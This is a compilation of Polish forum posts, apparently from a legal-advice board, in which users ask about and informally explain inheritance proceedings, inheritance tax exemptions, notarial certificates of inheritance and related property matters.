pzu,śmierć taty,postepowanie
Spadkobiercę ustala sąd. Po śmierci ojca powinno być postępowanie spadkowe.
Najczęściej dzieli się to na współmałżonka i dzieci - po równych częściach.
(jeżeli jesteś jedynakiem to po 50% z mamą). Z decyzją sądu składasz dokumenty
z aktem zgonu i podaniem do Wydziału Komunikacji i przerejestrowywujesz
samochód na siebie i współwłaścicieli (czyli mamę). Za niewykorzystany okres
ubezpieczenia OC zostanie zwrócona składka (zaokrąglona do pełnych
miesięcy)...potem ubezpieczasz samochód na nowych właścicieli.

     

  kupno mieszkania-kto jest właścicielem?pomocy!!
Idziesz do sądu i w sekretariacie prosisz i spis spraw-postepowań
spadkowych.Są to takie rocznikowe księgi.Ja kiedys bawiąc się w detektywa
przerzuciłam kilka lat w ten sposób.Zaden problem i od ręki do załatwienia.Ale
to jest pierwszy krok.Jak juz znajdziesz nr sprawy to wiesz ,że zostało
przeprowadzone.Natomiast dokumentu Ci w sadzie nie wydadzą.To jest dla osób
bezośrednio zainteresowanych.Pani od której kupujesz to mieszkanie MUSI Ci
udostępnić wszelkie wskazówki.Czy Pan miał dzieci?Gdzie jest dokument
stwierdzający własność mieszkania?Co mówi księga wieczysta? W KW nawet jeśłi
jakiś dokumeny czeka na wpis powinien byc zapisany w dziale wnioski.Poza tym
jeśli juz upierasz się na to akurat mieszkanie idziesz do notariusza
jakiegokolwiek i prosisz go o przejrzenie wszystkich aktów dotyczących tego
mieszkania.Ty masz dostęp do wpisów notariusz do aktów.Jeśli ten pan umarł w
ciągu ostatniego roku mozliwe ,że postępowanie jest w toku.M

  wracac do Wroclawia po 28 latach?
Cześć samba!
W zasadzie to powiedziałem co napisałem :).Niestety, niejaki gosc chyba nas nie
lubi(wrocławiaków). Obawiam się ,że dawno wyjechał z Polski i od tego czasu tu
nie bywał. Dlatego też tak odczytuję jego wypowiedź. Samba, mam dla Ciebie
następującą propozycję: przyjedź do Wrocławia (np. urlop)na kilka dni. Sama
ocenisz, czy warto tu zamieszkać. Jeżeli nabyłaś mieszkanie w drodze
postępowania spadkowego, masz stosowne dokumenty to nie powinno być problemu z
zameldowaniem. Wszystko powinnas załatwić w jednym miejscu.A koniaczek to kup
na okoliczność parapetówki. I nie słuchaj życzliwych, tylko sama przyjedź i
zobacz. Zawsze możesz się wycofać z pomysłu zamieszkania we Wrocku.
Pozdrowienia
sedzia.p

  do p. Bebiak, dotyczy wątku nr 68
Cześć:)
Aj, na to pierwsze pytanie odpowiedziałam Ci w tamtym wątku, bo i tak musiałam
sobie go poczytać (i niech już wszystko będzie w jednym miejscu ). Nie
zauważyłam tego dodatkowego pytanka tutaj:(

m.kka napisała:

>mianowicie czy przy takiej zamianie z mamą również liczy się te nieszczęsne 5
>lat, czy bez podatku..żadnego?

Dla podatku dochodowego, tego 10%, nie ma to znaczenia, bo taka zamiana byłaby
bez dopłat między Wami przecież - więc tu spokojnie.
Hm, teraz nie pamiętam jak tam u Ciebie było z podatkiem od spadku po tacie...
W sensie dat nie pamiętam....
Napiszę Ci zatem tak:
po śmierci taty było przeprowadzone postępowanie o nabycie spadku (było, bo mi
pisałaś). Potem trzeba było pójść do US i zgłosić masę spadkową (tu: w postaci
połówki tego mieszkania) do opodatkowania. Było to zrobione? Hm, nie wiem.
Jeśli wówczas podatek od spadku został przez Was zapłacony to teraz nie ma
problemu, ale jeśli wtedy skorzystałyście ze zwolnienia od podatku, bo
mieszkałyście w tym mieszkaniu a innych nie miałyście - to trzeba spojrzeć do
dokumentów czy minęło 5 lat od tamtego czasu (a to dlatego, że to zwolnienie
jest pod m.in. takim warunkiem, że 5 lat się będzie tam mieszkać - bez
zbywania). Zwróć na to koniecznie uwagę.
Jeśli chodzi o Twoja stronę w rozumieniu tego małego mieszkanka, które
zamierzasz kupić/kupiłaś to przy zamianie z mamą nie ma problemu podatkowego,
choćby nie minęło 5 lat.
Wierząc, że jasne - pozdrowionka Ci wysyłam.
B.

     

  wynajem przed upływem 5 lat
Cześć,
smok27 napisała:

> Odziedziczylam z moja siostra i ciotka mieszkanie po dziadkach. Siostra i
>ciotka zrzekły sie praw do niego na moja rzecz. Wiem ze w ciagu 5 lat nie moge
>sprzedac tego mieszkania (zeby uniknac zaplaty podatku spadkowego), ale czy
>moge je oficjalnie wynajac (oficjalnie=placac podatek od
> wynajmu)? Bardzo prosze o odpowiedz, bo nie mam jasnosci.

Smoku, musisz popatrzeć do swoich dokumentów, które dostałeś z urzędu
skarbowego kiedy załatwiałeś sprawę podatku od spadku.
Czy nie płaciłeś wówczas tego podatku korzystając ze zwolnienia?
Jeśli tak to pamiętaj, że to zwolnienie było pod pewnymi warunkami, w tym
między innymi takim, że Ty masz MIESZKAĆ w tym lokalu przez 5 lat.
I jeśli zawrzesz umowę najmu tego lokalu to dla mnie jest oczywiste, że w
lokalu tym nie mieszkasz a tym samym nie masz prawa do tamtej ulgi (urząd
wznowi postępowanie i wymierzy podatek od spadku). Nie zajmuję się szczegółowo
podatkami, ale w tym przypadku nie umiem inaczej tego interpretować i myślę, że
US uzna podobnie jak ja.

Natomiast nie wiem co by US powiedział na zawartą przez Ciebie umowę najmu
jednego pokoju (załóżmy, że w lokalu są dwa - jeśli jest jeden pokój to w ogóle
nie ma tematu). Tutaj nie wiem ale może taką możliwość byś rozpatrzył dopytując
jakiegoś podatkowca? Tak tylko zasugerowałam.
Pozdrowionka Ci wysyłam. B.

  Czy mozna sprzedac udzialy - jak to rozwiazac
Czy mozna sprzedac udzialy - jak to rozwiazac
Szanowna Pani Beato!
Bardzo sie ciesze, ze wrocila Pani na Forum. :)
Nasza sprawa dotyczaca dwoch kamienic w dwoch miastach, dzialu spadku i
ewentualnej wymiany udzialow jeszcze sie nie skonczyla.
Sprawa zostala zawieszona, poniewaz zmarl jeden z uczestnikow, a jego zstepni
nie przeprowadzili po nim postepowania spadkowego i nie dostarczyli do sadu
dokumentow. Teraz juz wszystko jest uzupelnione i czekamy na odwieszenie
sprawy.
Po rozmowie z niektorymi osobami doszlysmy z kuzynka do wniosku, ze wymiana
udzialow bylaby dosc skomplikowana i chyba trudno byloby sie dogadac.
Mialabym do Pani pytanie. Mamy osobe, ktora chcialaby kupic nasze udzialy.
Byloby to ok.60%, poniewaz oprocz mnie i mojej kuzynki jest jeszcze kilka
osob zainteresowanych sprzedaza swoich udzialow.
Czy na tym etapie mozemy sprzedac udzialy i czy osoba, ktora je kupi wchodzi
wowczas do sprawy o dzial spadku?
Bardzo prosze o odpowiedz.
Serdecznie pozdrawiam.
Malgorzata

  spadek a podatek
Witaj Hives,

hives napisał:

> Jest dokladnie tak jak napisalas. W zasadzie jedynym wyjsciem jest udanie sie
>z wszystkimi papierkami do US i poproszenie o wymierzenie kwoty podatku, czy
>tak?

Tak, jeśli na tym polega problem to tak.
Nie umiem Ci powiedzieć w jaki sposób urząd skarbowy to czyni (w procedurach
wszelakich jestem strasznie cieniutka), ale bardzo prawdopodobne, że wznawia
całe postępowanie podatkowe i wymierza od początku podatek od masy spadkowej z
uwzględnieniem tego składnika, który teraz się ujawnił.
Weź wszystkie te decyzje, które wtedy otrzymałeś/otrzymaliście i wszystkie inne
dokumenty z US, które wtedy dostaliście [i dowody wpłat podatków].
Pozdrawiam Cię serdecznie. B.

  spadek a podatek
bebiak napisała:

> Witaj Hives,
>
> hives napisał:
>
> > Jest dokladnie tak jak napisalas. W zasadzie jedynym wyjsciem jest udanie
> sie
> >z wszystkimi papierkami do US i poproszenie o wymierzenie kwoty podatku, c
> zy
> >tak?
>
> Tak, jeśli na tym polega problem to tak.
> Nie umiem Ci powiedzieć w jaki sposób urząd skarbowy to czyni (w procedurach
> wszelakich jestem strasznie cieniutka), ale bardzo prawdopodobne, że wznawia
> całe postępowanie podatkowe i wymierza od początku podatek od masy spadkowej
z
> uwzględnieniem tego składnika, który teraz się ujawnił.
> Weź wszystkie te decyzje, które wtedy otrzymałeś/otrzymaliście i wszystkie
inne
>
> dokumenty z US, które wtedy dostaliście [i dowody wpłat podatków].
> Pozdrawiam Cię serdecznie. B.

Tak tez zrobie, dziekuje. Powiadomie Cie o zakonczeniu sprawy.
dzikei.
Hives

  obecność małżonków na zebraniu Wspólnoty
Kto sieje wiatr ... (do j666)
j666 napisał:
> Zastanawiam się nad konsekwencjami śmierci jednego ze współwłaścicieli

Z taką diabelską ksywą nie może Pan zapewne postępować inaczej
- ale może ksywa to przypadek, więc gorąco apeluję:
NIE WYWOŁYWAĆ WILKA Z LASU !!!
Wilk tam rzeczywiście jest: śmierć właściciela lokalu to prawdziwy problem
prawny dla wspólnoty; żadna ustawa i żaden powszechnie obowiązujący przepis nie
rozstrzyga jednoznacznie, kto ma reprezentować właściciela w głosowaniach przez
te minimum pół roku postępowania spadkowego.
Ale wspólnoty na ogół takiego pytania sobie nie stawiają; traktują jak
pełnoprawnego właściciela domniemanego spadkobiercę, czyli (przeważnie)
współmalżonka lub innego członka rodziny.
Wspólnoty nie pytają o dokumenty (i, z praktycznego punktu widzenia, SŁUSZNIE
CZYNIĄ) - chyba że roszczenia w tej kwestii zgłoszą WSPÓLNOCIE dwie lub więcej
osób. Wtedy, też SŁUSZNIE, wspólnota nie akceptuje nikogo: głos oddany przez
którąkolwiek z tych osób traktuje jako nieważny.
Publiczne nagłośnienie tej sprawy zwiększy dociekliwość wspólnot w sprawie
dokumentów własności - a skutek może być tylko ten, że w wielu wspólnotach nie
będzie można podjąć żadnych, nawet niezbędnych uchwał, a nadto może pogorszyć
się "ściągalność" zaliczek, bo samozwańczy "zastępca" właściciela może
powiedzieć: skoro nie mam prawa głosu - to nie mam obowiązku płacenia.
I NIC NIE MOŻNA MU ZROBIĆ !

  ZANIM KUPISZ LOKAL .....
Jakoś nie wierzę, aby właściciel nie wiedział o postępowaniu
spadkowym......raczej chce przechytrzyć współspadkobierców.

Teoretycznie jeśli coś siędzieje wokół nieruchomości, to powinna być wzmianka w
dokumentach KW.
No ale jak to w życiu.......na 100% to wiesz tylko, że umrzesz...

To opisz tę psrawę, moze komuś się przyda przestroga.

  EKSMISJA, PILNE PYTANIE!
Przeglądałam ten wątek trochę pobieżnie, wobec tego nie odpowiadam
(podpowiadam) konkretnej osobie tylko tak w ogóle. Co do tytułu prawnego
wymienionego w rozporządzeniu, to przypomnieć należy, że takim samym tytułem do
lokalu jak własność czy najem jest również posiadanie. Były lokator oczekujący
na lokal socjalny albo tylko na eksmisję jest do chwili opuszczenia lokalu jego
posiadaczem. Wobec tego wszelkie próby pozbawienia go dopływu energii
elektrycznej są działaniem bezprawnym. Byłam niedawno w sytuacji odwrotnej.
Jako "samoistny posiadacz" (postępowanie spadkowe trwa i nic nie wskazuje by
się prędko skończyło), zmusiłam zakład energetyczny do zawarcie umowy o dostawę
energii elektrycznej, mimo iż nie byłam ani najemcą, ani właścicielem tylko
posiadaczem. Problem w tym, że w tamtych przypadkach można wylegitymować się
dokumentem (umową, wypisem z kw), a posiadacz składa tylko oświadczenie.
Podobnie było z zameldowaniem, ale to już inna historia. G.

  Postępowanie spadkowe
Postępowanie spadkowe
Moja babcia zamierza przeprowadzić postępowanie spadkowe w sprawie kamienicy
należącej do jej rodziny. Spadkobierców jest tak wielu i są tak bardzo
rozsiani po świecie, że w przypadku niektórych trudno ustalić miejsce
zamieszkania. I tu jest moje pytanie - czy babcia sama będzie musiała zdobyć
od nich wszystkie informacje i dokumenty (akty urodzeń, zgonów etc.), czy
powinien zrobić to sąd?

Mam jeszcze jedno pytanie. Ile kosztuje przeprowadzenie procesu spadkowego i
jak się do tego zabrać?

  Jakie sa honoraria prawnikow?
Mogą byc różne - z reguły jakaś część w gotówce na pokrycie kosztów (np
2000-3000zł, ale moze byc i wiecej)Wysokość zaliczki zależy od stopnia
skomplikowania sprawy, ilości przewidywanego czasu, ilości czasu, kóry potrzeba
na zgromadzenie w sprawie dokumentów. Później moze być procent od sprawy
powiedzmy do 10% z zaliczeniem tego co było wpłacone gotówką. W sytuacji
najbardziej trudnej - o ile wiąże się to np z regulacją stanu prawnego
nieruchomości, podziałem fizycznym na mniejsze działki, przeprowadzaniem
dodatkowych postępowań spadkowych, poszukiwaniem spadkobierców (nie daj Boże za
granicą lub sprzed wojny) należy liczyć że zaliczka wyniesie min 5 tys zł do
powiedzmy 10 tys zł + do 15-20 % (z zaliczeniem tego co było zapłacone zaliczkowo)
Oczywiście wycena zależy od analizy konkretnego przypadku, dlatego rozbieżności
mogą być znaczne
Te ceny nie dotyczą duzych firm prawnicznych (biznesowych bardziej) , tam są
stawki godzinowe - od 100 USD za godzinę do 500 USD za godzinę

  Prosze o pomoc!!!!!!!!!!!!!
Najpierw proszę zapoznać się z KW tej nieruchomości (jeśli oczywiście jest),
dowie się pan, kto jest wierzycielem długu, później skontaktować się z
syndykiem na jakim etapie jest sprawa nieruchomosci, czy dojdzie do licytacji.
Złożyć pismo do syndyka o uczestnictwo w licytacji (wpłata wadium i inne
dokumenty, to biuro syndyka podpowiada), ale to w przypadku, gdy rodzina zrzeka
się spadku. Jeśli natomiast spadkobiercy solidarnie wyrażają zgodę na sprzedaż,
postępowanie spadkowe zostało przeprowadzone, wszyscy stają do umowy
przedwstępnej, pan wpłaca zadatek na poczet zadłużenia, i pewnie będzie
potrzebna kwota do urzędu skarbowego od nabycia spadku, którą muszą uiścić
spadkobiercy, zawarcie aktu notarialnego jest możliwe. Wszystko jednak jest
ryzykowne, kilku spadkobierców, tyle pomysłów. Może w ogóle być prostsza.
Podobno spadkobiercy mieszkają w innym mieście i mają uczciwe zamiary zbycia
nieruchomości. Jeśli jest kredyt zaciągnięty na mieszkanie, to będzie w KW
adres banku, który jest wierzycielem i z nim się skontaktować. Nie ma rzeczy
niewykonalnych, ale trzeba dokładnie zapoznać się ze sprawą od syndyka, a nie
powierzać pośrednikowi, bo sprawa spadkowa trwa długo, jeśli nie jest jeszcze
przeprowadzona.

  Wstrzymane odszkodowanie z OC sprawcy.
Wstrzymane odszkodowanie z OC sprawcy.
Witam,

Najpierw postaram się nakreślic stan prawny samochodu, który
prowadziłam. Jego wlaściciel nie żyje - przed smiercią dał go w
użytkowanie mojemu ojcu. W tej chwili toczy się postępowanie
spadkowe, mój ojciec będzie jednym ze spadkobierców. W czerwcu
prowadzilam tenże samochód i miałam stłuczkę. Przyjechała Policja
winę za kolizję ponosi drugi kierowca. Samochód oddałam do
warsztatu, zgłosiłam szkodę do PZU wraz z oświadczeniem, że
właściciel nie żyje i toczy się postępowanie spadkowe, a mój ojciec
działa w imieniu wszystkich spadkobierców. PZU przyjeło dokumenty i
stwierdziło, że wszystko jest ok. W zeszłym tygodniu skontaktował
się ze mną warsztat, że PZU wstrzymało wypłatę odszkodowania do
czasu uzyskania wyroku sądowego (realnie patrząc może to potrwać
jeszcze pół roku). PZU twierdzi, że wysłało pismo z informacją....
nawet nie wiem czego dotyczącą bo pisma nie dostałam oraz że
ubezpieczenie zostanie wypłacone dopiero po ogłoszeniu wyroku
sądowego - poniewaz nie ma prawnego właściciela samochodu.
Warsztat wydzwania do mnie prawie codziennie. Nie wiem co mam zrobic.
Czy jest jakaś szansa szybką wypłatę odszkodowania?
Z góry dziękuję za dopowiedź.

  zaproszenie do Polski -cd
Nie jestem pewna ale wydaje mi się, że nie możesz zaprosić nikogo do nie swojego
mieszkania. Ja zapraszałam obcokrajowca ale oficjalnie była to moja mama.
Mieszkanie jest w większości jej ale udziały ma też jej dwóch braci. Do urzędu
musiała składać wiele papierów (akty zgonu śmierci rodziców, dokumenty o
postępowaniu spadkowym, zgodę braci na wizytę obcokrajowca, zgodę męża). Zgoda
tej kobiety, od której wynajmujesz mieszkanie to napewno minimum. Nie wiadomo
też kto dokładnie jest właścicielem jej mieszkania. Pewnie urząd będzie chciał
papiery poświadczające wiele rzeczy...

  Prawo głupie albo ja kretyn-pomóżcie
Prawo głupie albo ja kretyn-pomóżcie
Krótko mówiąc mam z 1994r. postanowienie sądu, że spadkobiorcami po ojcu są
jego dzieci i żona (druga)w częściach równych. Od 1995r. trwa postępowanie
sądowe aby ustalić czy po ojcu został jakiś majatek czy nie. Macocha uważa,
że segment jest jej w całości bo długi spadkowe przewyższają wartość
nieruchomości. Ma jakieś układy w sądzie bo przez tyle lat wyszła sprawa może
8 razy i jest obecnie prowadzona przez 5 sędziego, końca nie widać. Przez te
naście lat nie przedstawiła żadnych dokumentów na dowód długów spadkowych. W
2004r. zmarła i jej dzieci są jej spadkobiercami. Od śmierci ojca tj. od
1988r. nie wpuściła nas do domu. Ponieważ dom stoi na gruncie będącym
współwłasnością drugiego domu ( kupili wspólnie plac i postawili 2 domy) i
ten drugi "dom" chce obecnie wydzielić ze wspólnej części swój grunt na co
wyrażamy zgodę. I tu zaczyna się mój kretynizm- notariusz zażadał ode mnie :1-
zaswiadczenia z US ,że zapłaciłam podatek od spadku ( od powietrza?) ,2- nowe
postanowienie z sądu, że spodkobiercami po moim ojcu są jego dzieci i dzieci
zmarłej wdowy. Czy to jets normalne?

  Umowa dożywocia
Ad 1. Musisz najpierw przeprowadzić postępowanie spadkowe i wtedy będziesz miał
1/2 części jeśli sąd tak zdecyduje, a potem dopiero babcia może darować ci
swoją połówkę z zapisem o dożywocie. Musisz wyprowadzić sprawę gyż faktycznie
mieszkanie to należało do ich wspólności ustawowej co po śmierci jednego z nich
dopiero wychodzi na część ale to trzeba uregulować.
Ad 2 i 3. Taksa będzie liczona od wartości, którą podadzą strony umowy od
części darowanej czyli połówki.
Ad 4. Zakładam, że to lokal mieszkalny a nie spółzielcze prawo - więc dokumenty
to: aktualny odpis z księgi wieczystej, akt notarialny nabycia przez dziadkó
tego lokalu, oraz prawomocne postanowienie sądu o nabyciu przez ciebie połówki
aby można było ciebie już później wpisać do całości.

  użytkowanie czy służebność
Gość portalu: dobud napisał(a):

> Przeciez mieszkanie będzie Wasze, a nie Rodziców, wiec nie bedzie żadnego
> postępowania spadkowego po ich śmierci odnośnie tego mieszkania.

Czyli resumując rodzinka nie bedzie miala nic do tego mieszkania tak? Slyszalam
gdzieś jednak, ze dopiero powyzej 5 lat, czyli ze rodzice musieliby przezyc co
najmniej 5 lat od chwili spisania tego dokumentu. Co o tym sadzisz? dziekuje za
odpowiedz.

  bez testamentu
z Twojego postu wynika, że 4 osoby odziedziczyly spadek po dziadkach, tzn.
wujek ciocia, Ty i brat (wchodzicie na miejsce nieżyjącej mamy). Trzeba
przeprowadzic postępowanie spadkowe, zebrać wszytskie akty stanu cywilnego
spadkobierców i akty zgonu spadkodawców i złożyć wniosek do sądu o stwierdzenie
nabycia spadku. Właściwy jest sąd ostatniego zamieszkania spadkobierców.
Rodzina mieszkająca za granicą nie musi tu przyjeżdzać. Ty, jako
wnioskodawczyni możesz sama złożyć wniosek i dołączyć wszytskie potrzebne
dokumenty. Jak bedziecie mieć postanowienie o stwierdzeniu nabycia spadku,
wtedy możecie sobie dzielić dom, znosić współwłasność, darować udziały czy co
Wam się żywnie podoba. Na razie macie nieuregulowany stan prawny i tyle.

  Bardzo proszę o radę
Bardzo proszę o radę
Mam trudną sprawę i nie wiem na co możemy liczyć i czego się
spodziewać.Historia zaczyna się od śmierci Wujka brata mojej Mamy, Wujek był
osobą samotną mieszkał w domu rodzinnym wybudowanym przez ich rodziców.Pan z
biura nieruchomość poinformował moją Mamę, dziwiąc się,że istnieje o umowie
przedwstępnej sprzedaży domu. Pominę tu całe tło i zaskoczenie. Po pogrzebie
przy porządkowaniu różnych dokumentów znalazłam dokumenty z postępowania
spadkowego po moim Dziadku z 1997r , Mama nic o tym nie wiedziała, we wniosku
Wujek podał, że ze związku Babci i Dziadka poza nim innych dzieci nie było.
Postanowiłyśmy "wyprostować" sprawy, wniosłyśmy wnioski o spadek po Wujku i
osobny po Dziadku. W miedzy czasie Państwo, którzy chcą kupić dom wnieśli
także o stwierdzenie nabycia spadku z udziałem mojej Mamy. Teraz po
uprawomocnieniu i przyjęciu spadku po Wujku wyznaczyli termin u notariusza.
Mama nie chce sprzedawać domu tylko zatrzymać go sprawa po Dziadku jeszcze się
nie odbyła. Mam takie pytanie czy jeżeli wykażemy oszustwo to sąd może moją
Mame zmusić do sprzedaży?? My chcemy odstąpić od umowy oddać pieniądze ale czy
to musi być podwojona kwota? zadatek nie był zwyczajowym 10% zadatkiem
bardziej kwotą symboliczną biorąc pod uwagę cenę domu. Symboliczną ale nie
małą. Bardzo proszę o wypowiedzi, które wskażą mi drogę jaką powinna obrać
moja Mama i jakie Ona ma szanse, bo cała sprawa bardzo szarpie jej zdrowie,
choć odkrycie oszustwa najbardziej ją zabolało.

  spadek
pierwsze przybliżenie
Musicie przeprowadzić postepowanie przed sądem o nabycie praw
spadkowych.
Po mamie podatek zapłacicie. Po tacie nie
Mówie o podatku spadkowym
Co do sprzedaży - pokażcie kwity notariuszowi...
Obawiam się, że jesli sprzedaz zaraz po nabyciu - to Ty zapłacisz
podatek od sprzedaży - siostra nie. Ale zastrzegam ze wymaga to
analizy dokumentów..
pozdr
al

  prawo spadkowe??
Możesz zrobić to na dwa sposoby : załatwić sprawy spadkowe w sądzie,albo u
notariusza.

Sprawy spadkowe u notariusza

Jeżeli chodzi o notariusza, jest to nowość w polskim prawie. Notariusz może
sporządzić akt poświadczenia dziedziczenia i będzie to prawnie miało taką sama
moc, jak orzeczenie sądu o nabyciu spadku. Koszt usługi u notariusza to 183 zł.

Aby załatwić sprawy spadkowe u notariusza, musisz się z nim umówić i stawić u
niego. Notariusz na początku ogłosi testament, następnie sporządzi protokół
dziedziczenia, a potem akt poświadczenia dziedziczenia . Dokumenty muszą być
podpisane przez spadkobierce (spadkobierców). Cała procedura potrwa około godziny.

Sprawy spadkowe w sądzie

Jeżeli będziesz chciał załatwić to w sądzie, to musisz złożyć wniosek o nabycie
spadku do sądu rejonowego właściwego dla miejsca zamieszkania spadkodawcy.
Opłata sądowa wynosi 50 zł.

Sąd następnie wyznaczy termin rozprawy i wyda orzeczenia o nabyciu spadku.
Postępowanie przed sądem niestety trwa kilka miesięcy.

  mieszkanie spół.lokator. po zmarłych rodzicach
Przede wszystkim powinnaś przeprowadzić postępowanie spadkowe po zmarłych
rodzicach, a wyrok dostarczyć do spółdzielni. Jeśli twoi bracia zrzekli się
swojego prawa do wkładu, to te dokumenty razem z wyrokiem również powinnaś
dostarczyć do spółdzielni. Na pewno będziesz musiała wstąpić na członka
spółdzielni aby móc wykupić to mieszkanie. Potem możesz to mieszkanie sprzedać.
Braci spłacać nie musisz, chyba że jest to zaznaczone w ich zrzeczeniach
notarialnych.

  umiejscowienie aktu stanu cywilnego w polskim USC
Hej,

Kiedys szukalam na ten temat informacji:
Zgodnie z art. 73.1 pr. o a.s.c. akt stanu cywilnego sporządzony za
granicą może być wpisany do polskich ksiąg stanu cywilnego na
wniosek osoby zainteresowanej lub z urzędu.

Nie ma wiec obowiazku ale moze byc przydatne bo polskie akty stanu
cywilnego przedstawia sie np. w postepowaniach spadkowych w Polsce
(mozna spadkobiercom zaoszczedzic czasu na prostowanie wszystkich
dokumentow juz w trakcie postepowania spadkowego).

Przydaje sie tez jesli ktos w wyniku malzenstwa zmienil nazwisko i
chce polski paszport na nowe nazwisko, musi miec polski akt
malzenstwa.

Wydaje mi sie tez ze polski akt urodzenia jest potrzebny dla dziecka
przy wyrabianiu polskiego paszportu, zgodnie z informacja na stronie
ambasady "w przypadku ubiegania się o paszport po raz pierwszy -
odpis aktu urodzenia wydany przez polski urząd stanu cywilnego".

  testament i sprawa spadkowa
testament i sprawa spadkowa
Witam
Bardzo proszę o poradę w następującej sprawie. Niedawno zmarła moja babcia,
która w testamencie napisała, że zostawia mi cały swój majątek. Jak wygląda
procedura przyjęcia spadku? Czy najpierw składam do sądu wniosek o otwarcie
testamentu, czy od razu wniosek o stwierdzeniu nabycia spadku, do którego
oczywiście dołączam odpowiednie dokumenty (testament,swój akt urodzenia, akt
zgonu mojego taty - jedynego syna babci (występującego jako uczestnik ),
wypisy z ksiąg wieczystych)? Babcia miała 2 braci. Czy oni są również
uczestnikami postępowania (dołączam ich akty urodzenia) i czy mają prawa do
zachowku?
Z góry dziękuję za odpowiedź

  Brak księgi wieczystej itp
Skoro nie ma księgi wieczystej, należy złożyć wniosek o jej założenie. Najpierw
jednak warto ustalić aktualny stan prawny tej nieruchomości, a więc ustalić jej
właścicieli. Jeżeli właściciele zmarli, trzeba przeprowadzić postępowania
spadkowe po nich, a także po kolejnych właścicielach, ich dzieciach itd.

Są to bardzo trudne zagadnienia i postępowania, więc trudno cokolwiek
szczegółowo doradzać na forum, bez analizy dokumentów itd.

Nie wiem w jakim celu chciałaby Pani aby architekt sporządzał teraz plan domu?

  Poświadczenie dziedziczenia nadal nie działa?
Nie wiem dlaczego w Pani mieście notariusze nie zaczęli jeszcze
sporządzać aktów poświadczenia dziedziczenia. Rejestr elektroniczny
działa i od 2 marca 2009 roku notariusze zajmują się już
postępowaniami spadkowymi. Trzeba jednak pamiętać, że konieczne jest
przedłożenie oryginalnych dokumentów, w tym zaświadczenia o numerze
PESEL spadkodawcy (którym to dokumentem klienci zwykle nie
dysponują i dopiero o niego występują), osobista obecność
wszystkich spadkobierców (na dzisiaj interpretacja jest taka że nie
ma możliwości reprezentowania przez pełnomocnika, co dopuszczalne
jest w postępowaniu spadkowym prowadzonym przed sądem) oraz brak
wątpliwości co do kręgu spadkobierców (wszystkie sprawy wątpliwe i
sporne nadal będą rozpoznawane tylko przez sąd).

  Poświadczenie dziedziczenia nadal nie działa?
oczywiście że spadkodawca nie żyje bo tylko wtedy należy
przeprowadzić postępowanie spadkowe - zaświadczenie o numerze PESEL
spadkodawcy wydają urzędy miast/gmin - wydziały spraw obywatelskich
właściwe dla ostatniego miejsca zamieszkania spadkodawcy na "wniosek
o udostępnienie danych ze zbiorów dokumentów", brak PESEL-u
uniemożliwia przeprowadzenie postępowania u notariusza, bo aktu
takiego nie można zarejestrować w ogólnopolskim rejestrze
elektronicznym

  przepis domu po śmierci jednego rodzica.
trzeba zacząć od przeprowadzenia postępowania spadkowego po ojcu
albo w sądzie albo u notariusza (wymagane dokumenty to akt zgonu,
akty urodzenia Pani braci i akt małżeństwa Pani), następnie trzeba
się zgłosić do urzędu skarbowego celem wyjednania zaświadczenia
potwierdzającego uregulowanie spraw podatku od spadku (jako osoby
bliskie jesteście Państwo zwolnieni od podatku jeżeli zgłosicie się
Państwo do urzędu skarbowego nie później niż w terminie 6 miesięcy
od stwierdzenia nabycia spadku)i dopiero wtedy możecie się Państwo
podzielić spadkiem ( w związku z tym że w skład spadku wchodzi
nieruchomosć wymagana będzie wizyta u notariusza) jednocześnie mama
będzie mogła z Panią znieść współwłasność domu w ten sposób że po
dziale spadku i zniesieniu współwłasności stanie się Pani jedyną
właścicielką domu a jeżeli Pani tak zdecyduje będzie Pani mogła na
tą nieruchomość rozszerzyć wspólność ustawową tak że właścicielem
będzie również Pani mąż

  działki do przepisania
W przypadku, gdy którakolwiek z działek należała do wspólnego majątku Pana dziadków (oboje figurują w akcie notarialnym albo księdze wieczystej) należy najpierw przeprowadzć postępowanie spadkowe po dziadku - możliwa jest droga sądowa albo też - gdy wszyscy spadkobiercy żyją - poświadczenie dziedziczenia przez notariusza. Następnie należy zgłosić nabycie spadku we właściwym Urzędzie skarbowym i uzyskać stosowne zaświadczenie.
Jeżeli dziadek nie zostawił testamentu jako spadkobiercy ustawowi zostaną wskazane jego dzieci, w tym Pana mama oraz babcia, a w konsekwencji działki będą miały kilku współwłaścicieli. Aby Pana mama została właścicielką całej działki będą Państwo musieli zawrzeć umowę działu spadku i zniesienia współwłasności. Notariuszowi należy przedstawić odpis z księgi wiezystej prowadzonej dla działek, prawomocne postanowienie o stwierdzeniu nabycia spadku, zaświadczenie z Urzędu skarbowego. Notariusz będzie też żądać dokumentów geodezyjnych dotyczących działek, ponieważ będzie wnioskował o założenie nowej księgi wieczystej.
Proponuję umówić się w tej sprawie na rozmowę w wybranej Kancelarii Notarialnej.

  Nabycie spadku - potrzebne dokumenty
Nabycie spadku - potrzebne dokumenty
Zamierzam złożyć wniosek do sądu o nabycie spadku, jest sporządzony
testament, konkretnie matka zapisała synowi spadek. Jest liczne
rodzeństwo ale kilkoro już nie żyje. Czy wystarczy jak złożę do sądu
ich akty zgonu i akty urodzenia dzieci po nich /zmarłym rodzeństwie/.
Czy sąd nie będzie żądał aby najpierw było przeprowadzone
postępowanie spadkowe po tych osobach

  przepisanie działki tuż po przyjęciu spadku
Aby było możliwe przepisanie (zawarcie umowy darowizny) działki na
Pana rzecz, Pana ojciec musi posiadać tytuł prawny, potwierdzający
nabycie przez niego tej działki. Może to być postanowienie wydane
przez Sąd w sprawie stwierdzenia nabycia spadku lub akt
poświadczenia dziedziczenia sporządzony przez notariusza. Jeśli
posiadacie Państwo już taki dokument to darowizna może być
sporządzona niezwłocznie. Jeśli nie posiadacie państwo jeszcze
takiego dokumentu to należy przeprowadzić postępowanie spadkowe w
sądzie lub u notariusza. Do darowizny niezbędny będzie również
dokument (zaświadczenie) z Urzędu Skarbowego stwierdzający, że
nabycie przez Pana ojca działki na podstawie spadku było zwolnione
od podatku od spadku lub, że podatek od tego nabycia został
uiszczony (zezwolenie). Jest do dokument, bez którego notariusz nie
może sporządzić umowy darowizny. Obecnie wszelkie darowizny
dokonywane przez rodziców na rzecz dzieci nie podlegają podatkowi od
darowizny, tak więc darowizna na Pana rzecz nie będzie podlegała
temu podatkowi.

  spadek po prababci
W przedstawionej sytuacji jedynym spadkobiercą po Pani babci jest
Pani kuzynka. Dziedziczy ona w całości spadek (a więc połowę domu)
jako spadkobierca testamentowy. Musi oczywiście przeprowadzić
postępowanie spadkowe (w sądzie lub u notariusza) w którym uzyska
dokument urzędowy potwierdzający nabycie spadku na podstawie
testamentu.
